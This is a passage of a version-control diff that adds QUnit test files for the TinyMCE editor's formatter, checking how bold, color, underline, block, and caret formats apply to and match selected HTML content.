+	});
+	editor.getBody().innerHTML = '<div>text</div>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('div')[0], 0);
+	rng.setEnd(editor.dom.select('div')[0], 1);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<div class="a b c" style="color: #ff0000;" title="test">text</div>', 'Apply format on single element that matches a selector');
+});
+
+test('Bold and italics is applied to text that is not highlighted', function() {
+	var rng = editor.dom.createRng();
+	editor.setContent('<p><span style="font-family: Arial;"><strong>test1 test2</strong> test3 test4 test5 test6</span></p>');
+	rng.setStart(editor.dom.select('strong')[0].firstChild, 6);
+	rng.setEnd(editor.dom.select('strong')[0].firstChild, 11);
+	editor.focus();
+	editor.selection.setRng(rng);
+	editor.execCommand('Italic');
+	equal(editor.getContent(), '<p><span style="font-family: Arial;"><strong>test1 <em>test2</em></strong> test3 test4 test5 test6</span></p>', 'Selected text should be bold.');
+});
+
+test('Apply color format to links as well', function() {
+	editor.setContent('<p>123<a href="#">abc</a>456</p>');
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('p')[0].lastChild, 3);
+	editor.selection.setRng(rng);
+
+	editor.formatter.register('format', {
+		inline: 'span',
+		styles: {
+			color: '#FF0000'
+		},
+		links: true
+	});
+	editor.formatter.apply('format');
+
+	equal(
+		editor.getContent(),
+		'<p><span style="color: #ff0000;">123<a style="color: #ff0000;" href="#">abc</a>456</span></p>',
+		'Link should have it\'s own color.'
+	);
+});
+
+test('Color on link element', function() {
+	editor.setContent('<p><span style="font-size: 10px;">123<a href="#">abc</a>456</span></p>');
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('span')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('span')[0].lastChild, 3);
+	editor.selection.setRng(rng);
+
+	editor.formatter.register('format', {
+		inline: 'span',
+		styles: {
+			color: '#FF0000'
+		},
+		links: true
+	});
+	editor.formatter.apply('format');
+
+	equal(
+		editor.getContent(),
+		'<p><span style="color: #ff0000; font-size: 10px;">123<a style="color: #ff0000;" href="#">abc</a>456</span></p>',
+		'Link should have it\'s own color.'
+	);
+});
+
+test("Applying formats in lists", function() {
+	editor.setContent('<ul><li>text<ul><li>nested</li></ul></li></ul>');
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('li')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('li')[0].firstChild, 1);
+	editor.selection.setRng(rng);
+	editor.formatter.apply("h1");
+	equal(editor.getContent(), '<ul><li><h1>text</h1><ul><li>nested</li></ul></li></ul>', "heading should not automatically apply to sublists");
+});
+
+test("Applying formats on a list including child nodes", function(){
+	editor.formatter.register('format', {inline: 'strong'});
+	editor.setContent('<ol><li>a</li><li>b<ul><li>c</li><li>d<br /><ol><li>e</li><li>f</li></ol></li></ul></li><li>g</li></ol>');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('li')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('li')[6].firstChild, 1);
+	editor.selection.setRng(rng);
+	editor.formatter.apply("format");
+	equal(editor.getContent(), '<ol><li><strong>a</strong></li><li><strong>b</strong><ul><li><strong>c</strong></li><li><strong>d</strong><br /><ol><li><strong>e</strong></li><li><strong>f</strong></li></ol></li></ul></li><li><strong>g</strong></li></ol>', "should be applied to all sublists");
+});
+
+test('Block format on li element', function() {
+	editor.setContent('<ul><li>text<ul><li>nested</li></ul></li></ul>');
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('li')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('li')[1].firstChild, 1);
+	editor.selection.setRng(rng);
+	editor.formatter.apply("h1");
+	equal(editor.getContent(), '<ul><li><h1>text</h1><ul><li><h1>nested</h1></li></ul></li></ul>', "heading should automatically apply to sublists, when selection spans the sublist");
+});
+
+test('Block on li element 2', function() {
+	editor.setContent('<ul><li>before<ul><li>nested</li></ul>after</li></ul>');
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('li')[0].lastChild, 1);
+	rng.setEnd(editor.dom.select('li')[0].lastChild, 2);
+	editor.selection.setRng(rng);
+	editor.formatter.apply("h1");
+	equal(editor.getContent(), '<ul><li>before<ul><li>nested</li></ul><h1>after</h1></li></ul>', "heading should automatically apply to sublists, when selection spans the sublist");
+});
+
+test('Block on li element 3', function() {
+	editor.setContent('<ul><li>before<ul><li>nested</li></ul>after</li></ul>');
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('li')[1].firstChild, 0);
+	rng.setEnd(editor.dom.select('li')[0].lastChild, 1);
+	editor.selection.setRng(rng);
+	editor.formatter.apply("h1");
+	equal(editor.getContent(), '<ul><li>before<ul><li><h1>nested</h1></li></ul><h1>after</h1></li></ul>', "heading should automatically apply to sublists, when selection spans the sublist");
+});
+
+test('Block on li element 4', function() {
+	editor.setContent('<ul><li>before<ul><li>nested</li></ul>after</li></ul>');
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('li')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('li')[0].lastChild, 1);
+	editor.selection.setRng(rng);
+	editor.formatter.apply("h1");
+	equal(editor.getContent(), '<ul><li><h1>before</h1><ul><li><h1>nested</h1></li></ul><h1>after</h1></li></ul>', "heading should apply correctly when selection is after a sublist");
+});
+
+test('Underline colors 1', function() {
+	editor.formatter.register('format', {
+		inline: 'span',
+		styles: {
+			'color': '#ff0000'
+		}
+	});
+	editor.setContent('<p><span style="font-family: \'arial black\'; text-decoration: underline;">test</span></p>');
+	editor.execCommand('SelectAll');
+	editor.formatter.apply('format');
+	equal(editor.getContent(), '<p><span style="color: #ff0000; font-family: \'arial black\'; text-decoration: underline;">test</span></p>', 'Coloring an underlined text should result in a colored underline');
+});
+
+test('Underline colors 2', function() {
+	editor.formatter.register('format', {
+		inline: "span",
+		exact: true,
+		styles: {
+			'textDecoration': 'underline'
+		}
+	});
+	editor.setContent('<p><span style="font-family: \'arial black\'; color: rgb(255, 0, 0);">test</span></p>');
+	editor.execCommand('SelectAll');
+	editor.formatter.apply('format');
+	equal(editor.getContent(), '<p><span style="text-decoration: underline;"><span style="color: #ff0000; font-family: \'arial black\'; text-decoration: underline;">test</span></span></p>', 'Underlining colored text should result in a colored underline');
+});
+
+test('Underline colors 3', function() {
+	editor.formatter.register('format', {
+		inline: "span",
+		exact: true,
+		styles: {
+			'textDecoration': 'underline'
+		}
+	});
+	editor.setContent('<p><span style="font-family: \'arial black\'; text-decoration: underline;"><em><strong>This is some <span style="color: rgb(255, 0, 0);">example</span></strong></em> text</span></p>');
+	editor.execCommand('SelectAll');
+	editor.formatter.apply('format');
+	equal(editor.getContent(), '<p><span style="text-decoration: underline;"><span style="font-family: \'arial black\';"><em><strong>This is some <span style="color: #ff0000; text-decoration: underline;">example</span></strong></em> text</span></span></p>', 'Underlining colored and underlined text should result in a colored underline');
+});
+
+test('Underline colors 4', function() {
+	editor.formatter.register('format', {
+		inline: 'span',
+		styles: {
+			'color': '#ff0000'
+		}
+	});
+	editor.setContent('<p style="font-size: 22pt;"><span style=\"text-decoration: underline;\"><span style=\"color: yellow; text-decoration: underline;\">yellowredyellow</span></span></p>');
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('span')[1].firstChild, 6);
+	rng.setEnd(editor.dom.select('span')[1].firstChild, 9);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p style="font-size: 22pt;"><span style="text-decoration: underline;"><span style="color: yellow;' +
+		' text-decoration: underline;">yellow<span style="color: #ff0000; text-decoration: underline;">red</span>yellow</span></span></p>',
+		'Coloring an colored underdlined text should result in newly colored underline'
+	);
+});
+
+test('Underline colors 5', function() {
+	editor.formatter.register('format', {
+		inline: "span",
+		exact: true,
+		styles: {
+			'textDecoration': 'underline'
+		}
+	});
+	editor.setContent('<p><span style="font-family: \'arial black\',\'avant garde\';"><em><strong>This is some <span style="color: rgb(255, 0, 0);">example</span></strong></em> text</span></p><p><span style="font-family: \'arial black\',\'avant garde\';"><em><strong>This is some <span style="color: rgb(255, 0, 0);">example</span></strong></em> text</span></p><p><span style="font-family: \'arial black\', \'avant garde\';"><em><strong>This is some <span style="color: rgb(255, 0, 0);">example</span></strong></em> text</span></p>');
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('strong')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('span')[4].lastChild, 5);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(editor.getContent(), '<p><span style="text-decoration: underline;"><span style="font-family: \'arial black\',\'avant garde\';"><em><strong>This is some <span style="color: #ff0000; text-decoration: underline;">example</span></strong></em> text</span></span></p><p><span style="text-decoration: underline;"><span style="font-family: \'arial black\',\'avant garde\';"><em><strong>This is some <span style="color: #ff0000; text-decoration: underline;">example</span></strong></em> text</span></span></p><p><span style="text-decoration: underline;"><span style="font-family: \'arial black\', \'avant garde\';"><em><strong>This is some <span style="color: #ff0000; text-decoration: underline;">example</span></strong></em> text</span></span></p>', 'Colored elements should be underlined when selection is across multiple paragraphs');
+});
+
+test('Underline colors 6', function() {
+	editor.formatter.register('format', {
+		inline: 'span',
+		exact: true,
+		styles: {
+			'color': '#ff0000'
+		}
+	});
+	editor.setContent('<p><span style="text-decoration: underline;">This is some text.</span></p>');
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('span')[0].firstChild, 8);
+	rng.setEnd(editor.dom.select('span')[0].firstChild, 12);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	editor.formatter.remove('format');
+	equal(editor.getContent(), '<p><span style="text-decoration: underline;">This is some text.</span></p>', 'Children nodes that are underlined should be removed if their parent nodes are underlined');
+});
+
+test('Underline colors 7', function() {
+	editor.formatter.register('format', {
+		inline: 'span',
+		exact: true,
+		styles: {
+			'color': '#ff0000'
+		}
+	});
+	editor.setContent('<p><span style="text-decoration: underline;">This is <span style="color: #ff0000; text-decoration: underline; background-color: #ff0000">some</span> text.</span></p>');
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('span')[1].firstChild, 0);
+	rng.setEnd(editor.dom.select('span')[1].firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.remove('format');
+	equal(editor.getContent(), '<p><span style=\"text-decoration: underline;\">This is <span style=\"background-color: #ff0000;\">some</span> text.</span></p>', 'Children nodes that are underlined should be removed if their parent nodes are underlined');
+});
+
+test('Caret format inside single block word', function() {
+	editor.setContent('<p>abc</p>');
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	Utils.setSelection('p', 2, 'p', 2);
+	editor.formatter.apply('format');
+	equal(editor.getContent(), '<p><b>abc</b></p>');
+});
+
+test('Caret format inside first block word', function() {
+	editor.setContent('<p>abc 123</p>');
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	Utils.setSelection('p', 2, 'p', 2);
+	editor.formatter.apply('format');
+	equal(editor.getContent(), '<p><b>abc</b> 123</p>');
+});
+
+test('Caret format inside last block word', function() {
+	editor.setContent('<p>abc 123</p>');
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	Utils.setSelection('p', 5, 'p', 5);
+	editor.formatter.apply('format');
+	equal(editor.getContent(), '<p>abc <b>123</b></p>');
+});
+
+test('Caret format inside middle block word', function() {
+	editor.setContent('<p>abc 123 456</p>');
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	Utils.setSelection('p', 5, 'p', 5);
+	editor.formatter.apply('format');
+	equal(editor.getContent(), '<p>abc <b>123</b> 456</p>');
+});
+
+test('Caret format on word separated by non breaking space', function() {
+	editor.setContent('<p>one&nbsp;two</p>');
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	Utils.setSelection('p', 1, 'p', 1);
+	editor.formatter.apply('format');
+	equal(editor.getContent(), '<p><b>one</b>\u00a0two</p>');
+});
+
+test('Caret format inside single inline wrapped word', function() {
+	editor.setContent('<p>abc <em>123</em> 456</p>');
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	Utils.setSelection('em', 1, 'em', 1);
+	editor.formatter.apply('format');
+	equal(editor.getContent(), '<p>abc <b><em>123</em></b> 456</p>');
+});
+
+test('Caret format inside word before similar format', function() {
+	editor.setContent('<p>abc 123 <b>456</b></p>');
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	Utils.setSelection('p', 1, 'p', 1);
+	editor.formatter.apply('format');
+	equal(editor.getContent(), '<p><b>abc</b> 123 <b>456</b></p>');
+});
+
+test('Caret format inside last inline wrapped word', function() {
+	editor.setContent('<p>abc <em>abc 123</em> 456</p>');
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	Utils.setSelection('em', 5, 'em', 5);
+	editor.formatter.apply('format');
+	equal(editor.getContent(), '<p>abc <em>abc <b>123</b></em> 456</p>');
+});
+
+test('Caret format before text', function() {
+	editor.setContent('<p>a</p>');
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	Utils.setSelection('p', 0, 'p', 0);
+	editor.formatter.apply('format');
+	Utils.type('b');
+	equal(editor.getContent(), '<p><b>b</b>a</p>');
+});
+
+test('Caret format after text', function() {
+	editor.setContent('<p>a</p>');
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	Utils.setSelection('p', 1, 'p', 1);
+	editor.formatter.apply('format');
+	Utils.type('b');
+	equal(editor.getContent(), '<p>a<b>b</b></p>');
+});
+
+test('Caret format and no key press', function() {
+	editor.setContent('<p>a</p>');
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	Utils.setSelection('p', 0, 'p', 0);
+	editor.formatter.apply('format');
+	equal(editor.getContent(), '<p>a</p>');
+});
+
+test('Caret format and arrow left', function() {
+	editor.setContent('<p>a</p>');
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	Utils.setSelection('p', 0, 'p', 0);
+	editor.formatter.apply('format');
+	Utils.type({
+		keyCode: 37
+	});
+	equal(editor.getContent(), '<p>a</p>');
+});
+
+test('Caret format and arrow right', function() {
+	editor.setContent('<p>a</p>');
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	Utils.setSelection('p', 0, 'p', 0);
+	editor.formatter.apply('format');
+	Utils.type({
+		keyCode: 39
+	});
+	equal(editor.getContent(), '<p>a</p>');
+});
+
+test('Caret format and backspace', function() {
+	var rng;
+
+	if (tinymce.isOpera) {
+		ok(true, "Skip Opera since faking backspace doesn't work.");
+		return;
+	}
+
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+
+	editor.setContent('<p>abc</p>');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 3);
+	rng.setEnd(editor.dom.select('p')[0].firstChild, 3);
+	editor.selection.setRng(rng);
+
+	editor.formatter.apply('format');
+	Utils.type('\b');
+	equal(editor.getContent(), '<p>ab</p>');
+});
+
+test('Caret format on word in li with word in parent li before it', function() {
+	editor.setContent('<ul><li>one<ul><li>two</li></ul></li></ul>');
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	Utils.setSelection('ul li li', 1, 'ul li li', 1);
+	editor.formatter.apply('format');
+	equal(editor.getContent(), '<ul><li>one<ul><li><b>two</b></li></ul></li></ul>');
+});
+
+test('Selector format on whole contents', function() {
+	editor.setContent('<p>a</p>');
+	editor.formatter.register('format', {
+		inline: 'span',
+		selector: '*',
+		classes: 'test'
+	});
+	Utils.setSelection('p', 0, 'p', 1);
+	editor.formatter.apply('format');
+	equal(editor.getContent(), '<p class="test">a</p>');
+});
+
+test('format inline on contentEditable: false block', function() {
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	editor.setContent('<p>abc</p><p contenteditable="false">def</p>');
+	Utils.setSelection('p:nth-child(2)', 0, 'p:nth-child(2)', 3);
+	editor.formatter.apply('format');
+	equal(editor.getContent(), '<p>abc</p><p>def</p>', 'Text is not bold');
+});
+
+test('format block on contentEditable: false block', function() {
+	editor.formatter.register('format', {
+		block: 'h1'
+	});
+	editor.setContent('<p>abc</p><p contenteditable="false">def</p>');
+	Utils.setSelection('p:nth-child(2)', 0, 'p:nth-child(2)', 3);
+	editor.formatter.apply('format');
+	equal(editor.getContent(), '<p>abc</p><p>def</p>', 'P is not h1');
+});
+
+test('contentEditable: false on start and contentEditable: true on end', function() {
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	editor.setContent('<p>abc</p><p contenteditable="false">def</p><p>ghi</p>');
+	Utils.setSelection('p:nth-child(2)', 0, 'p:nth-child(3)', 3);
+	editor.formatter.apply('format');
+	equal(editor.getContent(), '<p>abc</p><p>def</p><p><b>ghi</b></p>', 'Text in last paragraph is bold');
+});
+
+test('contentEditable: true on start and contentEditable: false on end', function() {
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	editor.setContent('<p>abc</p><p contenteditable="false">def</p>');
+	Utils.setSelection('p:nth-child(1)', 0, 'p:nth-child(2)', 3);
+	editor.formatter.apply('format');
+	equal(editor.getContent(), '<p><b>abc</b></p><p>def</p>', 'Text in first paragraph is bold');
+});
+
+test('contentEditable: true inside contentEditable: false', function() {
+	editor.formatter.register('format', {
+		inline: 'b'
+	});
+	editor.setContent('<p>abc</p><p contenteditable="false"><span contenteditable="true">def</span></p>');
+	Utils.setSelection('span', 0, 'span', 3);
+	editor.formatter.apply('format');
+	equal(editor.getContent(), '<p>abc</p><p><span><b>def</b></span></p>', 'Text is bold');
+});
+
+test('Del element wrapping blocks', function() {
+	editor.setContent('<p>a</p>');
+	Utils.setSelection('p', 0, 'p', 1);
+	editor.formatter.register('format', {
+		block: 'del',
+		wrapper: true
+	});
+	editor.formatter.apply('format');
+	equal(getContent(), '<del><p>a</p></del>');
+});
+
+test('Del element replacing block', function() {
+	editor.setContent('<p>a</p>');
+	Utils.setSelection('p', 0, 'p', 1);
+	editor.formatter.register('format', {
+		block: 'del'
+	});
+	editor.formatter.apply('format');
+	equal(getContent(), '<del>a</del>');
+});
+
+test('Del element as inline', function() {
+	editor.setContent('<p>a</p>');
+	Utils.setSelection('p', 0, 'p', 1);
+	editor.formatter.register('format', {
+		inline: 'del'
+	});
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><del>a</del></p>');
+});
+
+test('Align specified table element with collapsed: false and selection collapsed', function() {
+	editor.setContent('<table><tr><td>a</td></tr></table>');
+	Utils.setSelection('td', 0, 'td', 0);
+	editor.formatter.register('format', {
+		selector: 'table',
+		collapsed: false,
+		styles: {
+			'float': 'right'
+		}
+	});
+	editor.formatter.apply('format', {}, editor.getBody().firstChild);
+	equal(getContent(), '<table style="float: right;"><tbody><tr><td>a</td></tr></tbody></table>');
+});
+
+test('Apply ID format to around existing bookmark node', function() {
+	editor.getBody().innerHTML = '<p>a<span id="b" data-mce-type="bookmark"></span>b</p>';
+
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('p')[0].lastChild, 1);
+	editor.selection.setRng(rng);
+
+	editor.formatter.register('format', {
+		inline: 'span',
+		attributes: {
+			id: 'id'
+		}
+	});
+	editor.formatter.apply('format');
+
+	equal(Utils.normalizeHtml(editor.getBody().innerHTML), '<p><span id="id">a<span data-mce-type="bookmark" id="b"></span>b</span></p>');
+});
+
+test('Bug #5134 - TinyMCE removes formatting tags in the getContent', function() {
+	editor.setContent('');
+	editor.formatter.register('format', {
+		inline: 'strong',
+		toggle: false
+	});
+	editor.formatter.apply('format');
+	equal(getContent(), '', 'empty TinyMCE');
+	editor.selection.setContent('a');
+	equal(getContent(), '<strong>a</strong>', 'bold text inside TinyMCE');
+});
+
+test('Bug #5134 - TinyMCE removes formatting tags in the getContent - typing', function() {
+	editor.setContent('');
+	editor.formatter.register('format', {
+		inline: 'strong',
+		toggle: false
+	});
+	editor.formatter.apply('format');
+	equal(getContent(), '', 'empty TinyMCE');
+	Utils.type('a');
+	equal(getContent(), '<strong>a</strong>', 'bold text inside TinyMCE');
+});
+
+test('Bug #5453 - TD contents with BR gets wrapped in block format', function() {
+	editor.setContent('<table><tr><td>abc<br />123</td></tr></table>');
+	Utils.setSelection('td', 1, 'td', 1);
+	editor.formatter.register('format', {
+		block: 'h1'
+	});
+	editor.formatter.apply('format');
+	equal(getContent(), '<table><tbody><tr><td><h1>abc</h1>123</td></tr></tbody></table>');
+});
+
+test('Bug #6471 - Merge left/right style properties', function() {
+	editor.formatter.register('format', {
+		inline: 'span',
+		styles: {
+			fontWeight: 'bold'
+		}
+	});
+	editor.setContent('<p>abc</p>');
+	Utils.setSelection('p', 2, 'p', 3);
+	editor.formatter.apply('format');
+	Utils.setSelection('p', 1, 'p', 2);
+	editor.formatter.apply('format');
+	Utils.setSelection('p', 0, 'p', 1);
+	editor.formatter.apply('format');
+	equal(editor.getContent(), '<p><span style="font-weight: bold;">abc</span></p>');
+});
+
+test('Bug #6518 - Apply div blocks to inline editor paragraph', function() {
+	inlineEditor.setContent('<p>a</p><p>b</p>');
+	inlineEditor.selection.select(inlineEditor.getBody().firstChild, true);
+	inlineEditor.selection.collapse(true);
+	inlineEditor.formatter.register('format', {
+		block: 'div'
+	});
+	inlineEditor.formatter.apply('format');
+	equal(inlineEditor.getContent(), '<div>a</div><p>b</p>');
+});
Index: /tags/4.1.6/tests/qunit/editor/tinymce/Formatter_check.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/Formatter_check.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/Formatter_check.js	(revision 33402)
@@ -0,0 +1,237 @@
+module("tinymce.Formatter - Check", {
+	setupModule: function() {
+		document.getElementById('view').innerHTML = '<textarea id="elm1"></textarea><div id="elm2"></div>';
+		QUnit.stop();
+
+		tinymce.init({
+			selector: "#elm1",
+			plugins: wpPlugins,
+			add_unload_trigger: false,
+			extended_valid_elements: 'b,i,span[style|contenteditable]',
+			skin: false,
+			entities: 'raw',
+			valid_styles: {
+				'*': 'color,font-size,font-family,background-color,font-weight,font-style,text-decoration,float,margin,margin-top,margin-right,margin-bottom,margin-left,display'
+			},
+			init_instance_callback: function(ed) {
+				window.editor = ed;
+
+				if (window.inlineEditor) {
+					QUnit.start();
+				}
+			}
+		});
+
+		tinymce.init({
+			selector: "#elm2",
+			plugins: wpPlugins,
+			inline: true,
+			add_unload_trigger: false,
+			indent: false,
+			skin: false,
+			convert_fonts_to_spans: false,
+			disable_nodechange: true,
+			entities: 'raw',
+			valid_styles: {
+				'*': 'color,font-size,font-family,background-color,font-weight,font-style,text-decoration,float,margin,margin-top,margin-right,margin-bottom,margin-left,display'
+			},
+			init_instance_callback: function(ed) {
+				window.inlineEditor = ed;
+
+				if (window.editor) {
+					QUnit.start();
+				}
+			}
+		});
+	}
+});
+
+test('Selected style element text', function() {
+	editor.formatter.register('bold', {inline: 'b'});
+	editor.getBody().innerHTML = '<p><b>1234</b></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('b')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('b')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	ok(editor.formatter.match('bold'), 'Selected style element text');
+});
+
+test('Selected style element with css styles', function() {
+	editor.formatter.register('color', {inline: 'span', styles: {color: '#ff0000'}});
+	editor.getBody().innerHTML = '<p><span style="color:#ff0000">1234</span></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('span')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('span')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	ok(editor.formatter.match('color'), 'Selected style element with css styles');
+});
+
+test('Selected style element with attributes', function() {
+	editor.formatter.register('fontsize', {inline: 'font', attributes: {size: '7'}});
+	editor.getBody().innerHTML = '<p><font size="7">1234</font></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('font')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('font')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	ok(editor.formatter.match('fontsize'), 'Selected style element with attributes');
+});
+
+test('Selected style element text multiple formats', function() {
+	editor.formatter.register('multiple', [
+		{inline: 'b'},
+		{inline: 'strong'}
+	]);
+	editor.getBody().innerHTML = '<p><strong>1234</strong></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('strong')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('strong')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	ok(editor.formatter.match('multiple'), 'Selected style element text multiple formats');
+});
+
+test('Selected complex style element', function() {
+	editor.formatter.register('complex', {inline: 'span', styles: {fontWeight: 'bold'}});
+	editor.getBody().innerHTML = '<p><span style="color:#ff0000; font-weight:bold">1234</span></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('span')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('span')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	ok(editor.formatter.match('complex'), 'Selected complex style element');
+});
+
+test('Selected non style element text', function() {
+	editor.formatter.register('bold', {inline: 'b'});
+	editor.getBody().innerHTML = '<p>1234</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('p')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	ok(!editor.formatter.match('bold'), 'Selected non style element text');
+});
+
+test('Selected partial style element (start)', function() {
+	editor.formatter.register('bold', {inline: 'b'});
+	editor.getBody().innerHTML = '<p><b>1234</b>5678</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('b')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('p')[0].lastChild, 4);
+	editor.selection.setRng(rng);
+	ok(editor.formatter.match('bold'), 'Selected partial style element (start)');
+});
+
+test('Selected partial style element (end)', function() {
+	editor.formatter.register('bold', {inline: 'b'});
+	editor.getBody().innerHTML = '<p>1234<b>5678</b></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('b')[0].lastChild, 4);
+	editor.selection.setRng(rng);
+	ok(!editor.formatter.match('bold'), 'Selected partial style element (end)');
+});
+
+test('Selected element text with parent inline element', function() {
+	editor.formatter.register('bold', {inline: 'b'});
+	editor.getBody().innerHTML = '<p><b><em><span>1234</span></em></b></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('span')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('span')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	ok(editor.formatter.match('bold'), 'Selected element text with parent inline element');
+});
+
+test('Selected element match with variable', function() {
+	editor.formatter.register('complex', {inline: 'span', styles: {color: '%color'}});
+	editor.getBody().innerHTML = '<p><span style="color:#ff0000">1234</span></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('span')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('span')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	ok(editor.formatter.match('complex', {color: '#ff0000'}), 'Selected element match with variable');
+});
+
+test('Selected element match with variable and function', function() {
+	editor.formatter.register('complex', {
+		inline: 'span',
+		styles: {
+			color: function(vars) {
+				return vars.color + '00';
+			}
+		}
+	});
+
+	editor.getBody().innerHTML = '<p><span style="color:#ff0000">1234</span></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('span')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('span')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	ok(editor.formatter.match('complex', {color: '#ff00'}), 'Selected element match with variable and function');
+});
+
+test('formatChanged simple format', function() {
+	var newState, newArgs;
+
+	editor.formatter.formatChanged('bold', function(state, args) {
+		newState = state;
+		newArgs = args;
+	});
+
+	editor.getBody().innerHTML = '<p>text</p>';
+	Utils.setSelection('p', 0, 'p', 4);
+
+	// Check apply
+	editor.formatter.apply('bold');
+	editor.nodeChanged();
+	ok(newState);
+	equal(newArgs.format, 'bold');
+	equal(newArgs.node, editor.getBody().firstChild.firstChild);
+	equal(newArgs.parents.length, 2);
+
+	// Check remove
+	editor.formatter.remove('bold');
+	editor.nodeChanged();
+	ok(!newState);
+	equal(newArgs.format, 'bold');
+	equal(newArgs.node, editor.getBody().firstChild);
+	equal(newArgs.parents.length, 1);
+});
+
+test('formatChanged complex format', function() {
+	var newState, newArgs;
+
+	editor.formatter.register('complex', {inline: 'span', styles: {color: '%color'}});
+
+	editor.formatter.formatChanged('complex', function(state, args) {
+		newState = state;
+		newArgs = args;
+	}, true);
+
+	editor.getBody().innerHTML = '<p>text</p>';
+	Utils.setSelection('p', 0, 'p', 4);
+
+	// Check apply
+	editor.formatter.apply('complex', {color: '#FF0000'});
+	editor.nodeChanged();
+	ok(newState);
+	equal(newArgs.format, 'complex');
+	equal(newArgs.node, editor.getBody().firstChild.firstChild);
+	equal(newArgs.parents.length, 2);
+
+	// Check remove
+	editor.formatter.remove('complex', {color: '#FF0000'});
+	editor.nodeChanged();
+	ok(!newState);
+	equal(newArgs.format, 'complex');
+	equal(newArgs.node, editor.getBody().firstChild);
+	equal(newArgs.parents.length, 1);
+});
+
+test('Match format on div block in inline mode', function() {
+	inlineEditor.setContent('<p>a</p><p>b</p>');
+	inlineEditor.execCommand('SelectAll');
+	ok(!inlineEditor.formatter.match('div'), 'Formatter.match on div says true');
+});
+
+test('Get preview css text for formats', function() {
+	ok(/font-weight\:(bold|700)/.test(editor.formatter.getCssText('bold')), 'Bold not found in preview style');
+	ok(/font-weight\:(bold|700)/.test(editor.formatter.getCssText({inline: 'b'})), 'Bold not found in preview style');
+});
Index: /tags/4.1.6/tests/qunit/editor/tinymce/Formatter_remove.js
===================================================================
